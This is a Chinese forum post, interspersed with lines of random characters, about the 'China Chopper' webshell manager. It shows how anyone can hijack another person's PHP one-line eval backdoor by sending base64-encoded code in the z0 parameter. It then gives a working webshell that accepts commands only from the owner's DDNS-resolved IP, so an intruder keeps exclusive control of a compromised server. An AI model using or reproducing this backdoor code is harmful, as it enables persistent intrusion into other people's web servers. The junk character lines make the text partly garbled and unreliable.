今天试了下“中国菜刀”这款C/S的WEB管理软件,发现一个致命的漏洞
9 J! p1 D c. y. [3 y0 y" v4 q
+ y7 j# O. ^1 d: d7 i$ g8 F就算你设置了密码,使用了eval($_REQUEST['moyo']);
4 a" d5 M/ Q+ F5 {8 G( G
) u9 ~4 W+ a% |+ ~& a但是别人还是可以在不知道连接密码是moyo的情况下直接使用你的一句话后门# `* g" e% `* ~
; P/ Q3 U/ N, C
因为$_REQUEST['moyo']传递的内容是@eval(base64_decode($_POST[z0]));
9 ] k/ `% K, {% _9 b, h5 V' i6 N* Y) D- w) h
直接访问 /backdoor.php?z0={BASE64加密后的代码} 就可以执行代码了
! h/ E) J* t$ v! B" I K% B( H) b; ~ `1 o1 Q
不知道是设计缺陷还是故意留的后门
( _6 u, r& G1 B$ ]/ m* x# u
+ D. P5 s0 e o) v/ R4 t' k- \如果有人使用一句话之类的密码,有个小技巧可以避免自己的一句话被人盗用
+ W9 K% l! M: m+ t* C
5 B- L) X4 _+ o) O2 N本地使用花生壳之类的DDNS软件,比如分配域名是moyo.apiz.org! ~! v: k* m: d7 ~+ V. J: \* p8 c
9 [! ]# C0 q/ _5 E9 X( ?- R然后一句话后门这样写
1 l, @+ M" H& w% g$ r2 U
: V- B1 D7 Z$ j<?php $_SERVER['REMOTE_ADDR'] == gethostbyname('moyo.apiz.org') ? @eval($_REQUEST['moyo']) : exit('DENIED') ?>
' B% F+ C$ Y& `) C ~& d这样就可以让一句话后门只允许自己的电脑连接了& P, [1 l4 `4 l" S7 Y* a; k
- |, k+ L3 I5 S$ { |